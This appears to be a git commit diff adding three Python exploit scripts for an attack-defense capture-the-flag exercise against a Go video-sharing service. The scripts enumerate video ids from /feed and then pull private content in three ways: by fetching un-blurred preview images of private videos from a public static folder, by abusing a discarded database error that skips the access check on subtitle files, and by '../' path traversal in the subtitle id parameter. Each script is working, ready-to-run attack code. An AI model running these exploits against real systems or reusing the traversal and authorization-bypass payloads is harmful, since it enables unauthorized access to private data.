Merge branch 'main' of git.itqdev.xyz:4x10m/ALPHA-TRAIN2

This commit is contained in:
2026-08-26 11:48:54 +03:00
8 changed files with 438 additions and 9 deletions
+127
View File
@@ -0,0 +1,127 @@
#!/usr/bin/env python3
import sys
import re
import random
import requests
USE_CUSTOM_USER_AGENT = False
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
]
PORT = 5000
FEED_RX = re.compile(r'src="([^"]*preview_(\d+)(_blured)?\.png)"')
def _ocr(png_bytes):
"""Optional: OCR the frame. No-op (and no crash) if pytesseract is absent."""
try:
import io
from PIL import Image
import pytesseract
except ImportError:
return ""
try:
return pytesseract.image_to_string(Image.open(io.BytesIO(png_bytes)))
except Exception as e:
print(f"[-] ocr failed: {e}", file=sys.stderr, flush=True)
return ""
def exploit(target_ip):
flags = set()
headers = {}
if USE_CUSTOM_USER_AGENT:
headers["User-Agent"] = random.choice(USER_AGENTS)
# -------------------------------------------------------------------------
# VULN: server/server.go handleCreate() + routes()
# ppath := s.previewPath(v.ID) // public/static/preview_<id>.png
# video.GeneratePreview(ctx, ..., ppath)
# if v.Private { video.Blur(ppath, s.privatePreviewPath(v.ID)) }
# ...
# s.e.Static("/"+s.c.StaticFolder, s.c.StaticFolder)
#
# For a PRIVATE video the sharp first frame is written to
# public/static/preview_<id>.png and is NEVER deleted; only an extra blurred
# copy preview_<id>_blured.png is produced. public/static is exposed by
# echo.Static, so the un-blurred frame of every private video is a plain
# unauthenticated GET away -- the feed only ever links the blurred one.
#
# /feed leaks the id of every video (including private ones), so:
# /public/static/preview_<id>_blured.png -> what you are supposed to see
# /public/static/preview_<id>.png -> the real frame
# -------------------------------------------------------------------------
try:
s = requests.Session()
s.headers.update(headers)
base = f"http://{target_ip}:{PORT}"
private_ids = []
try:
r = s.get(f"{base}/feed", timeout=5)
# a "_blured" preview in the feed == the video is private
private_ids = sorted(
{int(m[1]) for m in FEED_RX.findall(r.text) if m[2]}, reverse=True
)
except requests.RequestException as e:
print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
if not private_ids:
print(f"[!] no private videos advertised by /feed on {target_ip}",
file=sys.stderr, flush=True)
return flags
for vid in private_ids:
url = f"{base}/public/static/preview_{vid}.png"
try:
r = s.get(url, timeout=5)
except requests.RequestException as e:
print(f"[-] preview {vid} failed: {e}", file=sys.stderr, flush=True)
continue
if r.status_code != 200 or not r.content.startswith(b"\x89PNG"):
continue
print(f"[+] leaked un-blurred preview of private video {vid} "
f"({len(r.content)} bytes) from {url}", file=sys.stderr, flush=True)
flags.update(FLAG_RX.findall(_ocr(r.content)))
except requests.RequestException as e:
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
# -------------------------------------------------------------------------
return flags
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
try:
found_flags = exploit(target_ip)
if found_flags is None:
found_flags = []
elif isinstance(found_flags, str):
found_flags = [found_flags]
for flag in found_flags:
clean_flag = str(flag).strip()
if FLAG_RX.fullmatch(clean_flag):
print(clean_flag, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()
+112
View File
@@ -0,0 +1,112 @@
#!/usr/bin/env python3
import sys
import re
import random
import requests
USE_CUSTOM_USER_AGENT = False
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
]
PORT = 5000
EXTRA_DEPTH = 60 # how many ids below the feed window to bruteforce
WATCH_RX = re.compile(r"/watch/(\d+)")
def exploit(target_ip):
flags = set()
headers = {}
if USE_CUSTOM_USER_AGENT:
headers["User-Agent"] = random.choice(USER_AGENTS)
# -------------------------------------------------------------------------
# VULN: server/server.go:181-192 handleVtt()
# v, _ := s.db.GetVideo(ctx, vid) <-- error is DISCARDED
# if !s.haveAccess(ctx, uid, *v) { 403 }
# return c.File(path.Join(s.c.VttFolder, vid+".vtt"))
#
# `vid` is the RAW query string, it is used twice:
# 1) as a SQL value -> MySQL casts './7' to the number 0, no row matches,
# GetVideo returns (&Video{}, ErrNotFound) and the error is thrown away.
# The zero Video has Private=false and UserID=0, so haveAccess() returns
# true for everybody (even for an anonymous visitor, uid==0).
# 2) as a FILE PATH -> path.Join("public/vtt", "./7.vtt") == "public/vtt/7.vtt"
#
# => subtitles (where the checker stores the flag) of ANY private video are
# served without login, without a share token and without an access row.
# -------------------------------------------------------------------------
try:
s = requests.Session()
s.headers.update(headers)
base = f"http://{target_ip}:{PORT}"
# 1. enumerate video ids from the public feed
ids = []
try:
r = s.get(f"{base}/feed", timeout=5)
ids = [int(x) for x in WATCH_RX.findall(r.text)]
except requests.RequestException as e:
print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
if ids:
lo = max(1, min(ids) - EXTRA_DEPTH)
ids = sorted(set(ids) | set(range(lo, min(ids))), reverse=True)
else:
ids = list(range(200, 0, -1))
# 2. for every id ask for its .vtt with a payload that de-syncs
# the SQL lookup from the file lookup
for vid in ids:
for payload in (f"./{vid}", f"x/../{vid}", f"/{vid}"):
try:
r = s.get(f"{base}/vtt/", params={"id": payload}, timeout=5)
except requests.RequestException as e:
print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True)
break
if r.status_code != 200:
continue
found = FLAG_RX.findall(r.text)
if found:
flags.update(found)
break
except requests.RequestException as e:
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
# -------------------------------------------------------------------------
return flags
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
try:
found_flags = exploit(target_ip)
if found_flags is None:
found_flags = []
elif isinstance(found_flags, str):
found_flags = [found_flags]
for flag in found_flags:
clean_flag = str(flag).strip()
if FLAG_RX.fullmatch(clean_flag):
print(clean_flag, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()
+118
View File
@@ -0,0 +1,118 @@
#!/usr/bin/env python3
import sys
import re
import random
import requests
USE_CUSTOM_USER_AGENT = False
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
]
PORT = 5000
WATCH_RX = re.compile(r"/watch/(\d+)")
# path.Join("public/vtt", <payload>+".vtt") -- the payload escapes VttFolder and
# is re-anchored at the container WORKDIR (/app) or at "/".
TRAVERSALS = [
"../vtt/{id}",
"../../public/vtt/{id}",
"../../../app/public/vtt/{id}",
"../../../../app/public/vtt/{id}",
]
def exploit(target_ip):
flags = set()
headers = {}
if USE_CUSTOM_USER_AGENT:
headers["User-Agent"] = random.choice(USER_AGENTS)
# -------------------------------------------------------------------------
# VULN: server/server.go:190 handleVtt()
# vttPath := path.Join(s.c.VttFolder, vid+".vtt")
# return c.File(vttPath)
#
# `vid` comes straight from ?id= and is NEVER sanitised (no path.Clean("/"+p)
# guard like echo's Static handler does). Any "../" sequence walks out of
# public/vtt and c.File() happily serves the result -- i.e. arbitrary read of
# any *.vtt file on the container filesystem.
#
# Bonus: the very same value is fed to GetVideo() whose error is ignored, so
# a traversing id also never matches a DB row -> the private-video ACL check
# in haveAccess() is skipped as well (zero Video => Private=false).
#
# Here we abuse it to pull the subtitle track (= the flag) of every video
# while never touching the authorisation path at all.
# -------------------------------------------------------------------------
try:
s = requests.Session()
s.headers.update(headers)
base = f"http://{target_ip}:{PORT}"
ids = []
try:
r = s.get(f"{base}/feed", timeout=5)
ids = sorted({int(x) for x in WATCH_RX.findall(r.text)}, reverse=True)
except requests.RequestException as e:
print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
if not ids:
ids = list(range(200, 0, -1))
good_tpl = None
for vid in ids:
templates = [good_tpl] if good_tpl else TRAVERSALS
for tpl in templates:
try:
r = s.get(f"{base}/vtt/",
params={"id": tpl.format(id=vid)},
timeout=5)
except requests.RequestException as e:
print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True)
break
if r.status_code != 200 or "WEBVTT" not in r.text:
continue
good_tpl = tpl
flags.update(FLAG_RX.findall(r.text))
break
except requests.RequestException as e:
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
# -------------------------------------------------------------------------
return flags
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
try:
found_flags = exploit(target_ip)
if found_flags is None:
found_flags = []
elif isinstance(found_flags, str):
found_flags = [found_flags]
for flag in found_flags:
clean_flag = str(flag).strip()
if FLAG_RX.fullmatch(clean_flag):
print(clean_flag, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()